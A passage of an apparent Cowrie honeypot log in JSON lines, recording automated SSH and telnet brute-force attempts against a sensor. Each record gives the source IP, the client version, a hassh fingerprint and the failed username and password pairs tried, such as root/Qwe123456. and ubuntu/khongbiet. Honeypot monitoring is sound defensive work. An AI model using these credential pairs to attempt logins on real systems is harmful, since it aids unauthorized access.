lman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:24.176718Z","src_ip":"40.83.182.122","session":"81d7488aa8fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reporting","password":"reporting","message":"login attempt [reporting/reporting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:24.525721Z","src_ip":"40.83.182.122","session":"81d7488aa8fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:25.607880Z","src_ip":"40.83.182.122","session":"81d7488aa8fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":35246,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab2feaa15b6","protocol":"ssh","message":"New connection: 198.12.80.170:35246 (10.17.0.5:22) [session: bab2feaa15b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:37.182766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:37.188120Z","src_ip":"198.12.80.170","session":"bab2feaa15b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:37.206767Z","src_ip":"198.12.80.170","session":"bab2feaa15b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"khongbiet","message":"login attempt [ubuntu/khongbiet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:37.333298Z","src_ip":"198.12.80.170","session":"bab2feaa15b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:38.365279Z","src_ip":"198.12.80.170","session":"bab2feaa15b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":46218,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a39dd1705c","protocol":"ssh","message":"New connection: 78.44.192.210:46218 (10.17.0.5:22) [session: f0a39dd1705c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:39.615248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:39.620791Z","src_ip":"78.44.192.210","session":"f0a39dd1705c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:39.734370Z","src_ip":"78.44.192.210","session":"f0a39dd1705c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dis","password":"123456","message":"login attempt [dis/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:40.204917Z","src_ip":"78.44.192.210","session":"f0a39dd1705c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:41:41.317076Z","src_ip":"78.44.192.210","session":"f0a39dd1705c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":39134,"dst_ip":"159.203.135.109","dst_port":22,"session":"593004be5c57","protocol":"ssh","message":"New connection: 82.197.58.130:39134 (159.203.135.109:22) [session: 593004be5c57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:21.102681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:21.108058Z","src_ip":"82.197.58.130","session":"593004be5c57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:21.263888Z","src_ip":"82.197.58.130","session":"593004be5c57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123456.","message":"login attempt [root/Qwe123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:21.910097Z","src_ip":"82.197.58.130","session":"593004be5c57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:23.076275Z","src_ip":"82.197.58.130","session":"593004be5c57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":52362,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d72be52a76c","protocol":"telnet","message":"New connection: 79.139.59.21:52362 (159.203.135.109:23) [session: 0d72be52a76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:35.526123Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34426,"dst_ip":"159.203.135.109","dst_port":22,"session":"730775d1d076","protocol":"ssh","message":"New connection: 94.159.98.239:34426 (159.203.135.109:22) [session: 730775d1d076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:48.006014Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:48.037520Z","src_ip":"94.159.98.239","session":"730775d1d076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:48.135887Z","src_ip":"94.159.98.239","session":"730775d1d076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vortex","message":"login attempt [root/vortex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:48.846803Z","src_ip":"94.159.98.239","session":"730775d1d076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":53552,"dst_ip":"159.203.135.109","dst_port":23,"session":"31c29206321c","protocol":"telnet","message":"New connection: 79.139.59.21:53552 (159.203.135.109:23) [session: 31c29206321c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:49.918509Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:42:49.969495Z","src_ip":"94.159.98.239","session":"730775d1d076","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.12.80.170","src_port":37698,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad02c73bac99","protocol":"ssh","message":"New connection: 198.12.80.170:37698 (10.17.0.5:22) [session: ad02c73bac99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:02.133945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:02.146070Z","src_ip":"198.12.80.170","session":"ad02c73bac99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:02.163459Z","src_ip":"198.12.80.170","session":"ad02c73bac99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"555666","message":"login attempt [root/555666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:02.292037Z","src_ip":"198.12.80.170","session":"ad02c73bac99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:03.314989Z","src_ip":"198.12.80.170","session":"ad02c73bac99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":33790,"dst_ip":"10.17.0.5","dst_port":22,"session":"745bb5bc175e","protocol":"ssh","message":"New connection: 40.83.182.122:33790 (10.17.0.5:22) [session: 745bb5bc175e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:06.692762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:06.697927Z","src_ip":"40.83.182.122","session":"745bb5bc175e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:06.779451Z","src_ip":"40.83.182.122","session":"745bb5bc175e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git2","password":"git2","message":"login attempt [git2/git2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:07.138515Z","src_ip":"40.83.182.122","session":"745bb5bc175e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:08.224045Z","src_ip":"40.83.182.122","session":"745bb5bc175e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":54794,"dst_ip":"159.203.135.109","dst_port":22,"session":"924e5f27e5a6","protocol":"ssh","message":"New connection: 31.41.152.180:54794 (159.203.135.109:22) [session: 924e5f27e5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:09.161088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:09.165296Z","src_ip":"31.41.152.180","session":"924e5f27e5a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:09.283123Z","src_ip":"31.41.152.180","session":"924e5f27e5a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer+1234","message":"login attempt [root/Qwer+1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:09.770104Z","src_ip":"31.41.152.180","session":"924e5f27e5a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:10.888114Z","src_ip":"31.41.152.180","session":"924e5f27e5a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":54772,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f4ded05c233","protocol":"ssh","message":"New connection: 78.44.192.210:54772 (10.17.0.5:22) [session: 0f4ded05c233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:15.461407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:15.466371Z","src_ip":"78.44.192.210","session":"0f4ded05c233","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:15.576675Z","src_ip":"78.44.192.210","session":"0f4ded05c233","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"steven","message":"login attempt [root/steven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:43:16.037931Z","src_ip":"78.44.192.210","session":"0f4ded05c233","protocol":"ssh"}
